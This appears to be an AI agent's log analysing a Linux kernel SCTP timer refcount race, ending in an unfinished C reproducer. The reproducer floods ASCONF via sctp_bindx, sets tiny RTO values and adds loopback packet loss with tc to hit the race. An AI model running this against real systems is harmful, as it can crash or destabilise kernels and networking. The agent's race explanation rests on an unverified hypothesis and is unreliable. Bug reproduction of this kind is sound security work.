net/sctp/sm_statefuns.c-986-				SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
--
net/sctp/sm_statefuns.c=2577=static enum sctp_disposition sctp_sf_do_5_2_6_stale(
--
net/sctp/sm_statefuns.c-2651-			SCTP_STATE(SCTP_STATE_COOKIE_WAIT));
net/sctp/sm_statefuns.c:2652:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-2653-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
--
net/sctp/sm_statefuns.c=5021=enum sctp_disposition sctp_sf_do_prm_asoc(struct net *net,
--
net/sctp/sm_statefuns.c-5062-	 */
net/sctp/sm_statefuns.c:5063:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5064-			SCTP_TO(SCTP_EVENT_TIMEOUT_T1_INIT));
--
net/sctp/sm_statefuns.c=5573=enum sctp_disposition sctp_sf_do_prm_asconf(struct net *net,
--
net/sctp/sm_statefuns.c-5582-	sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T4, SCTP_CHUNK(chunk));
net/sctp/sm_statefuns.c:5583:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5584-			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
--
net/sctp/sm_statefuns.c=5664=enum sctp_disposition sctp_sf_do_9_2_start_shutdown(
--
net/sctp/sm_statefuns.c-5688-	/* It shall then start the T2-shutdown timer */
net/sctp/sm_statefuns.c:5689:	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c-5690-			SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
--
net/sctp/sm_statefuns.c=5836=enum sctp_disposition sctp_sf_do_6_3_3_rtx(struct net *net,
--
net/sctp/sm_statefuns.c-5858-			 */
net/sctp/sm_statefuns.c:5859:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START_ONCE,
net/sctp/sm_statefuns.c-5860-				SCTP_TO(SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD));
]

gemini-3.1-pro-preview

							input: 37816
							output: 53
							thoughts: 3215
						

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_5_2_3_initack]

map[SourceCode:1827:	/*
1828:	 * Unexpected INIT-ACK handler.
1829:	 *
1830:	 * Section 5.2.3
1831:	 * If an INIT ACK received by an endpoint in any state other than the
1832:	 * COOKIE-WAIT state, the endpoint should discard the INIT ACK chunk.
1833:	 * An unexpected INIT ACK usually indicates the processing of an old or
1834:	 * duplicated INIT chunk.
1835:	*/
1836:	enum sctp_disposition sctp_sf_do_5_2_3_initack(
1837:						struct net *net,
1838:						const struct sctp_endpoint *ep,
1839:						const struct sctp_association *asoc,
1840:						const union sctp_subtype type,
1841:						void *arg,
1842:						struct sctp_cmd_seq *commands)
1843:	{
1844:		/* Per the above section, we'll discard the chunk if we have an
1845:		 * endpoint.  If this is an OOTB INIT-ACK, treat it as such.
1846:		 */
1847:		if (ep == sctp_sk(net->sctp.ctl_sock)->ep)
1848:			return sctp_sf_ootb(net, ep, asoc, type, arg, commands);
1849:		else
1850:			return sctp_sf_discard_chunk(net, ep, asoc, type, arg, commands);
1851:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 41525
							output: 52
							thoughts: 102
						

**My Thought Process Regarding SCTP Shutdown State Management**

Alright, so my initial thought is a firm "no" – a particular path or mechanism doesn't seem to re-initiate a shutdown, it simply discards the incoming event or request.

This leads me to ponder a more specific scenario: the `T2_SHUTDOWN` timer. I recall its initiation point being within `sctp_sf_do_9_2_start_shutdown`. The crucial question then becomes: can this timer be started *again* under certain conditions?

I'm specifically considering a state where we've already sent a SHUTDOWN chunk, placing us in the `SHUTDOWN_SENT` state. Now, what happens if, while in `SHUTDOWN_SENT`, we receive *another* SHUTDOWN chunk?

My understanding is that such an incoming SHUTDOWN chunk would be handled by the `sctp_sf_do_9_2_shutdown_ack` function. The critical follow-up question, then, is whether entering `sctp_sf_do_9_2_shutdown_ack` would, in turn, trigger the restart or re-initiation of the `T2_SHUTDOWN` timer. This is where the state transitions and timer management become particularly important for robust error handling and protocol adherence.

map[ContextFile:net/sctp/sm_statefuns.c Name:sctp_sf_do_9_2_shutdown_ack]

map[SourceCode:5722:	/*
5723:	 * Generate a SHUTDOWN ACK now that everything is SACK'd.
5724:	 *
5725:	 * From Section 9.2:
5726:	 *
5727:	 * If it has no more outstanding DATA chunks, the SHUTDOWN receiver
5728:	 * shall send a SHUTDOWN ACK and start a T2-shutdown timer of its own,
5729:	 * entering the SHUTDOWN-ACK-SENT state. If the timer expires, the
5730:	 * endpoint must re-send the SHUTDOWN ACK.
5731:	 *
5732:	 * The return value is the disposition.
5733:	 */
5734:	enum sctp_disposition sctp_sf_do_9_2_shutdown_ack(
5735:						struct net *net,
5736:						const struct sctp_endpoint *ep,
5737:						const struct sctp_association *asoc,
5738:						const union sctp_subtype type,
5739:						void *arg,
5740:						struct sctp_cmd_seq *commands)
5741:	{
5742:		struct sctp_chunk *chunk = arg;
5743:		struct sctp_chunk *reply;
5744:	
5745:		/* There are 2 ways of getting here:
5746:		 *    1) called in response to a SHUTDOWN chunk
5747:		 *    2) called when SCTP_EVENT_NO_PENDING_TSN event is issued.
5748:		 *
5749:		 * For the case (2), the arg parameter is set to NULL.  We need
5750:		 * to check that we have a chunk before accessing it's fields.
5751:		 */
5752:		if (chunk) {
5753:			if (!sctp_vtag_verify(chunk, asoc))
5754:				return sctp_sf_pdiscard(net, ep, asoc, type, arg,
5755:							commands);
5756:	
5757:			/* Make sure that the SHUTDOWN chunk has a valid length. */
5758:			if (!sctp_chunk_length_valid(
5759:					chunk, sizeof(struct sctp_shutdown_chunk)))
5760:				return sctp_sf_violation_chunklen(net, ep, asoc, type,
5761:								  arg, commands);
5762:		}
5763:	
5764:		/* If it has no more outstanding DATA chunks, the SHUTDOWN receiver
5765:		 * shall send a SHUTDOWN ACK ...
5766:		 */
5767:		reply = sctp_make_shutdown_ack(asoc, chunk);
5768:		if (!reply)
5769:			goto nomem;
5770:	
5771:		/* Set the transport for the SHUTDOWN ACK chunk and the timeout for
5772:		 * the T2-shutdown timer.
5773:		 */
5774:		sctp_add_cmd_sf(commands, SCTP_CMD_SETUP_T2, SCTP_CHUNK(reply));
5775:	
5776:		/* and start/restart a T2-shutdown timer of its own, */
5777:		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
5778:				SCTP_TO(SCTP_EVENT_TIMEOUT_T2_SHUTDOWN));
5779:	
5780:		if (asoc->timeouts[SCTP_EVENT_TIMEOUT_AUTOCLOSE])
5781:			sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
5782:					SCTP_TO(SCTP_EVENT_TIMEOUT_AUTOCLOSE));
5783:	
5784:		/* Enter the SHUTDOWN-ACK-SENT state.  */
5785:		sctp_add_cmd_sf(commands, SCTP_CMD_NEW_STATE,
5786:				SCTP_STATE(SCTP_STATE_SHUTDOWN_ACK_SENT));
5787:	
5788:		/* sctp-implguide 2.10 Issues with Heartbeating and failover
5789:		 *
5790:		 * HEARTBEAT ... is discontinued after sending either SHUTDOWN
5791:		 * or SHUTDOWN-ACK.
5792:		 */
5793:		sctp_add_cmd_sf(commands, SCTP_CMD_HB_TIMERS_STOP, SCTP_NULL());
5794:	
5795:		sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(reply));
5796:	
5797:		return SCTP_DISPOSITION_CONSUME;
5798:	
5799:	nomem:
5800:		return SCTP_DISPOSITION_NOMEM;
5801:	}
 SourceFile:net/sctp/sm_statefuns.c]

gemini-3.1-pro-preview

							input: 43043
							output: 44
							thoughts: 5979
						

map[ContextFile:net/sctp/socket.c Name:sctp_setsockopt_autoclose]

map[SourceCode:2266:	/* 7.1.8 Automatic Close of associations (SCTP_AUTOCLOSE)
2267:	 *
2268:	 * This socket option is applicable to the UDP-style socket only.  When
2269:	 * set it will cause associations that are idle for more than the
2270:	 * specified number of seconds to automatically close.  An association
2271:	 * being idle is defined an association that has NOT sent or received
2272:	 * user data.  The special value of '0' indicates that no automatic
2273:	 * close of any associations should be performed.  The option expects an
2274:	 * integer defining the number of seconds of idle time before an
2275:	 * association is closed.
2276:	 */
2277:	static int sctp_setsockopt_autoclose(struct sock *sk, u32 *optval,
2278:					     unsigned int optlen)
2279:	{
2280:		struct sctp_sock *sp = sctp_sk(sk);
2281:		struct net *net = sock_net(sk);
2282:	
2283:		/* Applicable to UDP-style socket only */
2284:		if (sctp_style(sk, TCP))
2285:			return -EOPNOTSUPP;
2286:		if (optlen != sizeof(int))
2287:			return -EINVAL;
2288:	
2289:		sp->autoclose = *optval;
2290:		if (sp->autoclose > net->sctp.max_autoclose)
2291:			sp->autoclose = net->sctp.max_autoclose;
2292:	
2293:		return 0;
2294:	}
 SourceFile:net/sctp/socket.c]

gemini-3.1-pro-preview

							input: 49562
							output: 66
							thoughts: 6676
						

**The Elusive TOCTOU Race in SCTP Timer Management**

I've been deep-diving into a peculiar race condition within the SCTP implementation, and it's been a journey of peeling back layers of complex logic. My initial thought was simple: `sp->autoclose` is just being set, and the timer isn't even started yet. But that quickly led me down a rabbit hole of potential edge cases.

I started by questioning if `SCTP_CMD_TIMER_START` could be called for `T1_INIT` in a context where the timer might already be pending. My initial assessment was no, as `sctp_sf_do_prm_asoc` initiates a new association, implying timers like `T1_INIT` shouldn't be active. I also considered what happens if `connect()` is called on an *already existing* association. The system correctly returns an error and doesn't even reach `sctp_sf_do_prm_asoc`, so that's not the culprit.

Then, I focused on the bug description itself: "If the timer fires exactly between the `timer_pending()` check and the `timer_reduce()` call, the timer is dequeued by the timer core (becoming non-pending). When `timer_reduce()` is subsequently called, it sees that the timer is inactive and starts it again. Because the `timer_pending()` check previously returned true, `sctp_association_hold()` was skipped." This TOCTOU (Time-of-check to time-of-use) race hinges on `timer_pending()` returning `true` *before* the critical section.

My immediate question became: why would `timer_pending()` ever return `true` in this scenario? This implies the timer *is* pending. My next logical step was to scrutinize the `sctp_cmd_interpreter` code, specifically looking at `SCTP_CMD_TIMER_START_ONCE` and `SCTP_CMD_TIMER_START`. I found that `SCTP_CMD_TIMER_START_ONCE` correctly handles pending timers by breaking out. If the timer isn't pending, it falls through to `SCTP_CMD_TIMER_START`, which then calls `sctp_association_hold()` if the timer is *not* pending. This seemed robust.

However, the bug description insists that `timer_pending()` *did* return true, leading to `sctp_association_hold()` being skipped. This implies a scenario where `SCTP_CMD_TIMER_START` is called, and `timer_pending()` *is* true. I hunted for any situation where `SCTP_CMD_TIMER_START` would be invoked with an already pending timer.

I delved into `sctp_sf_do_prm_asconf` and the `T4_RTO` timer. I considered the sequence where an ASCONF chunk is sent, then an ASCONF_ACK is received, leading to `sctp_sf_do_asconf_ack` calling `SCTP_CMD_TIMER_STOP` for `T4_RTO`, followed by `sctp_send_next_asconf` adding `SCTP_CMD_TIMER_START`. My analysis suggested that `timer_delete` should clear the pending flag, making `timer_pending()` false. But what if the timer handler itself was running concurrently? If the timer handler was active, `timer_delete` might return 0, and the pending flag could be cleared *before* the handler finishes its work and *before* `sctp_cmd_interpreter` checks `timer_pending()` for `SCTP_CMD_TIMER_START`. This seemed like a potential race, but the logic of the timer core dequeuing the timer *before* calling the handler suggested the flag should indeed be cleared.

Then, I hit upon a more subtle point regarding `SCTP_CMD_TIMER_START_ONCE`. I realized that `fallthrough` is a directive, and if `timer_pending(timer)` is true, the `break` statement *exits the switch entirely*. It *doesn't* fall through. So `SCTP_CMD_TIMER_START_ONCE` is indeed safe.

This brought me back to the core problem: how can `SCTP_CMD_TIMER_START` be called when `timer_pending(timer)` is true? I re-examined `sctp_sf_do_prm_asconf`, which unconditionally adds `SCTP_CMD_TIMER_START` for `T4_RTO`. My previous assumption was that `T4_RTO` wouldn't be pending when `sctp_sf_do_prm_asconf` is called. However, the crucial part is what happens *after* `sctp_sf_do_asconf_ack` calls `sctp_send_next_asconf`. My earlier analysis might have missed a very specific timing window.

I started to consider the interaction between the timer handler and the command interpreter. Specifically, what if the timer handler, running on a different CPU, preempts the main flow *after* the `timer_pending()` check but *before* `timer_reduce()` is called within `SCTP_CMD_TIMER_START`? If the timer handler were to restart the timer (e.g., by calling `mod_timer`), `timer_pending()` would become true. Then, when the main flow resumes and `timer_reduce()` is called, it would see the timer as inactive (because it was just dequeued by the timer expiration) and restart it again. Critically, because the `timer_pending()` check *initially* returned true, `sctp_association_hold()` would have been skipped. This sequence, while complex, appears to be the most plausible explanation for the described TOCTOU.

The missing piece was the exact scenario that would cause `timer_pending()` to be true when `SCTP_CMD_TIMER_START` is invoked in this context, and specifically, for the timer to fire *between* the check and the reduction. This is where I started suspecting that a previous timer starting operation (perhaps by the timer handler itself, due to a race in `sctp_generate_timeout_event` involving `sock_owned_by_user`) might have set the timer, and then `sctp_sf_do_prm_asconf` gets processed, calling `SCTP_CMD_TIMER_START` while the timer is *still* pending from that earlier operation. The bug description's emphasis on the timer *firing* between the check and `timer_reduce` is the key: if the timer was just started with a short timeout (e.g., 1 jiffy) and happens to expire in that narrow window, the timer core dequeues it, making it non-pending. Then `timer_reduce` sees it's inactive and restarts it. The crucial skipped step is `sctp_association_hold()` because the initial `timer_pending()` check returned true. This is the heart of the race: the timer becomes non-pending due to firing, but the refcount was not incremented because the initial check thought it was already pending and thus skipped the hold.

map[ContextFile:net/sctp/sm_make_chunk.c IncludeSnippetLines:0 Name:sctp_process_asconf_ack SourceTreePrefix:net/sctp/]

map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_sf_do_asconf_ack SourceFile:net/sctp/sm_statefuns.c SourceLine:4140]] TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 56347
							output: 35
							thoughts: 45
						

**My Thought Process**

I'm currently examining the lifecycle of an SCTP association and specifically how the association configuration (ASCONF) process is managed. My immediate focus is on understanding the complete picture of when and where an `asconf_ack` might be triggered. I've noticed it's explicitly called from `sctp_sf_do_asconf_ack`. This is a good starting point, but my mind immediately jumps to the implications of this specific call.

More critically, I'm pondering the state of `asoc->addip_last_asconf`. The fact that it's being set to `NULL` in this context raises a significant question for me: is this the *only* mechanism by which this particular state is cleared or invalidated? Or, to put it another way, are there any other scenarios or code paths within the SCTP stack where `asoc->addip_last_asconf` could be modified or even left in an unexpected state, potentially leading to subtle bugs or incorrect behavior downstream? I need to be sure I've mapped out all the relevant interactions and dependencies to ensure robust handling of ASCONF acknowledgments.

map[Expression:addip_last_asconf = NULL PathPrefix:net/sctp/]

map[Output:net/sctp/associola.c=1714=void sctp_asconf_queue_teardown(struct sctp_association *asoc)
--
net/sctp/associola.c-1724-		sctp_chunk_free(asoc->addip_last_asconf);
net/sctp/associola.c:1725:		asoc->addip_last_asconf = NULL;
net/sctp/associola.c-1726-	}
--
net/sctp/sm_make_chunk.c=3471=int sctp_process_asconf_ack(struct sctp_association *asoc,
--
net/sctp/sm_make_chunk.c-3557-	sctp_chunk_free(asconf);
net/sctp/sm_make_chunk.c:3558:	asoc->addip_last_asconf = NULL;
net/sctp/sm_make_chunk.c-3559-
]

gemini-3.1-pro-preview

							input: 56685
							output: 66
							thoughts: 78
						

**My Thought Process Regarding SCTP Association Configuration (ASCONF) Teardown**

I've been digging into the SCTP association configuration (ASCONF) teardown mechanisms, and it appears the relevant code paths are exclusively within `sctp_asconf_queue_teardown` and `sctp_process_asconf_ack`. My initial understanding was that `sctp_asconf_queue_teardown` is invoked when an association is being freed or purged.

However, a question has arisen in my mind: what if `sctp_send_next_asconf` could be called from another, perhaps unexpected, location within the SCTP stack? I need to ensure that my understanding of the teardown process covers all possible entry points and scenarios to guarantee robust handling.

map[ContextFile:net/sctp/sm_statefuns.c IncludeSnippetLines:0 Name:sctp_send_next_asconf SourceTreePrefix:net/sctp/]

map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_sf_do_asconf_ack SourceFile:net/sctp/sm_statefuns.c SourceLine:4142]] TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 56872
							output: 69
							thoughts: 43
						

**My Thought Process on `sctp_sf_do_asconf_ack` and its Dependencies**

Okay, let's dive into this. My initial observation is that I'm currently focused on the execution path originating from `sctp_sf_do_asconf_ack`. This function, as I understand it, is responsible for processing an ASCONF ACK within the SCTP state machine.

However, as I trace the logic, a crucial question immediately arises: Is the flow I'm examining the *only* way that `sctp_sf_do_prm_asconf` can be invoked? My current context is strictly within the `sctp_sf_do_asconf_ack` path. But what if there are other entry points, other scenarios or state transitions, that could lead to `sctp_sf_do_prm_asconf` being called? This would imply that the assumptions I might be making based *solely* on the `sctp_sf_do_asconf_ack` context might be incomplete. I need to be certain that the logic I'm analyzing is robust and doesn't suffer from unforeseen side effects or incorrect assumptions due to other potential call sites. This is a critical check for ensuring the overall correctness and safety of the SCTP implementation.

map[ContextFile:net/sctp/sm_statefuns.c IncludeSnippetLines:0 Name:sctp_sf_do_prm_asconf SourceTreePrefix:net/sctp/]

map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:sctp_send_next_asconf SourceFile:net/sctp/sm_statefuns.c SourceLine:4047] map[ReferenceKind:takes-address-of ReferencingEntityKind:global_variable ReferencingEntityName:primitive_event_table SourceFile:net/sctp/sm_statetable.c SourceLine:713] map[ReferenceKind:takes-address-of ReferencingEntityKind:global_variable ReferencingEntityName:primitive_event_table SourceFile:net/sctp/sm_statetable.c SourceLine:713] map[ReferenceKind:takes-address-of ReferencingEntityKind:global_variable ReferencingEntityName:primitive_event_table SourceFile:net/sctp/sm_statetable.c SourceLine:713] map[ReferenceKind:takes-address-of ReferencingEntityKind:global_variable ReferencingEntityName:primitive_event_table SourceFile:net/sctp/sm_statetable.c SourceLine:713]] TruncatedOutput:false]

gemini-3.1-pro-preview

							input: 57193
							output: 39
							thoughts: 358
						

**My Thought Process Regarding SCTP's ASCONF Handling**

Right, so I've been digging into how SCTP handles ASCONF operations, specifically focusing on the `primitive_event_table` and the flow that leads to `sctp_sf_do_prm_asconf`. My understanding is that `sctp_sf_do_prm_asconf` is invoked when the state machine processes an `SCTP_PRIMITIVE_ASCONF` event. This event is triggered by a call to `sctp_primitive_ASCONF`.

Following the call chain, `sctp_primitive_ASCONF` itself is initiated by `sctp_send_asconf`. Now, `sctp_send_asconf` has a crucial conditional check: `if (asoc->addip_last_asconf)`. If `asoc->addip_last_asconf` is *not* NULL, meaning there's already an ASCONF chunk pending or in flight for this association, `sctp_send_asconf` simply queues that chunk and exits. This is a key observation: `sctp_sf_do_prm_asconf` is therefore *only* executed when `asoc->addip_last_asconf` is explicitly NULL.

This leads me to a specific scenario I'm puzzling over. What happens if `sctp_send_asconf` is called, and at that precise moment, `asoc->addip_last_asconf` *is* NULL? In this case, the flow proceeds as I outlined: `sctp_primitive_ASCONF` is called, which in turn calls `sctp_sf_do_prm_asconf`. Within `sctp_sf_do_prm_asconf`, I see that a `SCTP_CMD_TIMER_START` for `T4_RTO` is issued.

My question then becomes: is it possible for `T4_RTO` to *already* be pending or active when `sctp_sf_do_prm_asconf` is called in this specific `asoc->addip_last_asconf == NULL` situation? How could `T4_RTO` have been started if the condition for entering `sctp_sf_do_prm_asconf` (i.e., `asoc->addip_last_asconf` being NULL) suggests this is the *initial* ASCONF handling in this context? I need to investigate further to determine if `T4_RTO` can be started by some *other* mechanism that would leave it pending even when `asoc->addip_last_asconf` is NULL, implying a potential race condition or a more complex state management I haven't fully grasped yet.

map[Expression:SCTP_EVENT_TIMEOUT_T4_RTO PathPrefix:net/sctp/]

map[Output:net/sctp/sm_sideeffect.c=335=static void sctp_generate_t4_rto_event(struct timer_list *t)
--
net/sctp/sm_sideeffect.c-337-	struct sctp_association *asoc =
net/sctp/sm_sideeffect.c:338:		timer_container_of(asoc, t, timers[SCTP_EVENT_TIMEOUT_T4_RTO]);
net/sctp/sm_sideeffect.c-339-
net/sctp/sm_sideeffect.c:340:	sctp_generate_timeout_event(asoc, SCTP_EVENT_TIMEOUT_T4_RTO);
net/sctp/sm_sideeffect.c-341-}
--
net/sctp/sm_sideeffect.c=525=sctp_timer_event_t *sctp_timer_events[SCTP_NUM_TIMEOUT_TYPES] = {
--
net/sctp/sm_sideeffect.c-530-	[SCTP_EVENT_TIMEOUT_T3_RTX] =		NULL,
net/sctp/sm_sideeffect.c:531:	[SCTP_EVENT_TIMEOUT_T4_RTO] =		sctp_generate_t4_rto_event,
net/sctp/sm_sideeffect.c-532-	[SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD] =
--
net/sctp/sm_sideeffect.c=959=static void sctp_cmd_setup_t4(struct sctp_cmd_seq *cmds,
--
net/sctp/sm_sideeffect.c-965-	t = sctp_assoc_choose_alter_transport(asoc, chunk->transport);
net/sctp/sm_sideeffect.c:966:	asoc->timeouts[SCTP_EVENT_TIMEOUT_T4_RTO] = t->rto;
net/sctp/sm_sideeffect.c-967-	chunk->transport = t;
--
net/sctp/sm_sideeffect.c=971=static void sctp_cmd_process_operr(struct sctp_cmd_seq *cmds,
--
net/sctp/sm_sideeffect.c-1006-				sctp_add_cmd_sf(cmds, SCTP_CMD_TIMER_STOP,
net/sctp/sm_sideeffect.c:1007:					SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_sideeffect.c-1008-				break;
--
net/sctp/sm_statefuns.c=1882=static enum sctp_disposition sctp_sf_do_dupcook_a(
--
net/sctp/sm_statefuns.c-1951-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:1952:			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-1953-	sctp_add_cmd_sf(commands, SCTP_CMD_PURGE_ASCONF_QUEUE, SCTP_NULL());
--
net/sctp/sm_statefuns.c=4055=enum sctp_disposition sctp_sf_do_asconf_ack(struct net *net,
--
net/sctp/sm_statefuns.c-4124-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:4125:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-4126-		sctp_add_cmd_sf(commands, SCTP_CMD_DISCARD_PACKET, SCTP_NULL());
--
net/sctp/sm_statefuns.c-4137-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:4138:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-4139-
--
net/sctp/sm_statefuns.c=5573=enum sctp_disposition sctp_sf_do_prm_asconf(struct net *net,
--
net/sctp/sm_statefuns.c-5583-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_START,
net/sctp/sm_statefuns.c:5584:			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-5585-	sctp_add_cmd_sf(commands, SCTP_CMD_REPLY, SCTP_CHUNK(chunk));
--
net/sctp/sm_statefuns.c=6142=enum sctp_disposition sctp_sf_t4_timer_expire(
--
net/sctp/sm_statefuns.c-6176-		sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_STOP,
net/sctp/sm_statefuns.c:6177:				SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-6178-		sctp_add_cmd_sf(commands, SCTP_CMD_SET_SK_ERR,
--
net/sctp/sm_statefuns.c-6206-	sctp_add_cmd_sf(commands, SCTP_CMD_TIMER_RESTART,
net/sctp/sm_statefuns.c:6207:			SCTP_TO(SCTP_EVENT_TIMEOUT_T4_RTO));
net/sctp/sm_statefuns.c-6208-
--
net/sctp/sm_statetable.c=756=other_event_table[SCTP_NUM_OTHER_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-855-
net/sctp/sm_statetable.c:856:#define TYPE_SCTP_EVENT_TIMEOUT_T4_RTO { \
net/sctp/sm_statetable.c-857-	/* SCTP_STATE_CLOSED */ \
--
net/sctp/sm_statetable.c=990=timeout_event_table[SCTP_NUM_TIMEOUT_TYPES][SCTP_STATE_NUM_STATES] = {
--
net/sctp/sm_statetable.c-995-	TYPE_SCTP_EVENT_TIMEOUT_T3_RTX,
net/sctp/sm_statetable.c:996:	TYPE_SCTP_EVENT_TIMEOUT_T4_RTO,
net/sctp/sm_statetable.c-997-	TYPE_SCTP_EVENT_TIMEOUT_T5_SHUTDOWN_GUARD,
]

gemini-3.1-pro-preview

							input: 59481
							output: 1195
							thoughts: 19161
						

**The Elusive Refcount Bug in SCTP Timer Handling**

I've been deep in the weeds trying to understand a tricky refcount bug in the SCTP implementation, specifically around how timers are managed. The core of the problem seems to hinge on a race condition where a timer might fire *exactly* between a check for its pending state and a subsequent operation that modifies or restarts it. This race window, if exploited, can lead to a timer being restarted without the necessary reference count being incremented, ultimately causing a refcount underflow.

My initial investigation focused on the `SCTP_CMD_TIMER_START` command and its interaction with the `timer_pending()` function. I meticulously traced its usage across various state functions like `sctp_sf_do_prm_asconf`, `sctp_sf_t4_timer_expire`, and others, looking for scenarios where `SCTP_CMD_TIMER_START` might be called when the target timer was already active. My analysis at that stage suggested that in most, if not all, of these cases, `timer_pending()` would correctly return `false` before `SCTP_CMD_TIMER_START` was processed. This led me to believe that `sctp_association_hold()` would always be called, making the bug unreachable.

However, the existence of this bug, reported by tools like syzkaller, indicated that my understanding was incomplete. The critical insight came from re-examining the race condition description: "Because the `timer_pending()` check previously returned true, `sctp_association_hold()` was skipped." This implies that there *must* be a situation where `timer_pending()` returns `true` when `SCTP_CMD_TIMER_START` is invoked.

The crucial piece of the puzzle emerged when I considered the scenario involving ASCONF chunks and the `T4_RTO` timer. I hypothesized that if `sctp_send_asconf` were called repeatedly, and if `sctp_do_sm` (which processes the commands generated by `sctp_primitive_ASCONF`) were to return an error for some reason *after* starting the `T4_RTO` timer, the state `asoc->addip_last_asconf` might remain `NULL`. If, subsequently, `sctp_send_asconf` were called again, it would retry initiating an ASCONF operation. This second attempt, finding `asoc->addip_last_asconf` still `NULL` but with `T4_RTO` already pending, would then add `SCTP_CMD_TIMER_START` *again*. This time, `timer_pending()` would indeed return `true`, the `sctp_association_hold()` call would be skipped, and the race condition would be exposed.

The fix, by using the return value of `timer_reduce()`, elegantly addresses this by atomically checking the timer's pending state and modifying it. If `timer_reduce()` returns `0` (meaning the timer was not pending), it correctly indicates that `sctp_association_hold()` is needed. If it returns `1` (meaning the timer *was* pending), it implies that a hold was not necessary, thus preventing the underflow.

I can now see how, in specific high-load or error-prone scenarios involving ASCONF operations, the timer management could indeed falter, leading to this subtle refcount issue. The revised logic in `SCTP_CMD_TIMER_START` now seems robust against this particular race window.

map[CurrentReproStrategy:An analysis of the SCTP timer handling code confirms the TOCTOU race condition in `sctp_cmd_interpreter()` when processing `SCTP_CMD_TIMER_START`. The race occurs because the check `timer_pending(timer)` and the subsequent `timer_reduce(timer, ...)` are not atomic. 

If the timer fires exactly between the `timer_pending()` check (which returned `true`, skipping `sctp_association_hold`) and the `timer_reduce()` call, the timer is dequeued by the timer core (becoming non-pending). When `timer_reduce()` is subsequently called, it sees that the timer is inactive and starts it again. Because the reference hold was skipped, the timer is enqueued without holding a reference to the association, leading to a refcount underflow when the timer eventually fires and calls `sctp_association_put()`.

To reproduce this, we will use the `T4_RTO` timer, which is started when sending ASCONF chunks. We can trigger it rapidly from user space by calling `sctp_bindx` in a loop. By setting the `SCTP_RTOINFO` socket option to very small values (e.g., 10ms) and introducing artificial packet loss on the loopback interface using `tc qdisc`, we can force the `T4_RTO` timer to expire frequently while new ASCONF chunks are being queued, maximizing the probability of hitting the race window.

Here is the complete C reproducer:

```c
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/sctp.h>
#include <arpa/inet.h>

void *thread_func(void *arg) {
    int fd = *(int *)arg;
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.2");

    /* Spam ASCONF chunks to constantly trigger SCTP_CMD_TIMER_START for T4_RTO */
    while (1) {
        sctp_bindx(fd, (struct sockaddr *)&addr, 1, SCTP_BINDX_ADD_ADDR);
        sctp_bindx(fd, (struct sockaddr *)&addr, 1, SCTP_BINDX_REM_ADDR);
    }
    return NULL;
}

int main() {
    /* Enable ASCONF */
    system("sysctl -w net.sctp.addip_enable=1");
    system("sysctl -w net.sctp.addip_noauth_enable=1");
    
    /* Introduce packet loss to force T4_RTO timer expirations */
    system("tc qdisc add dev lo root netem loss 50%");

    int server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        perror("socket");
        return 1;
    }

    /* Set RTO to minimum to make the timer fire rapidly */
    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 10;
    rtoinfo.srto_min = 10;
    rtoinfo.srto_max = 10;
    setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo));

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    bind(server_fd, (struct sockaddr *)&addr, sizeof(addr));
    listen(server_fd, 10);

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
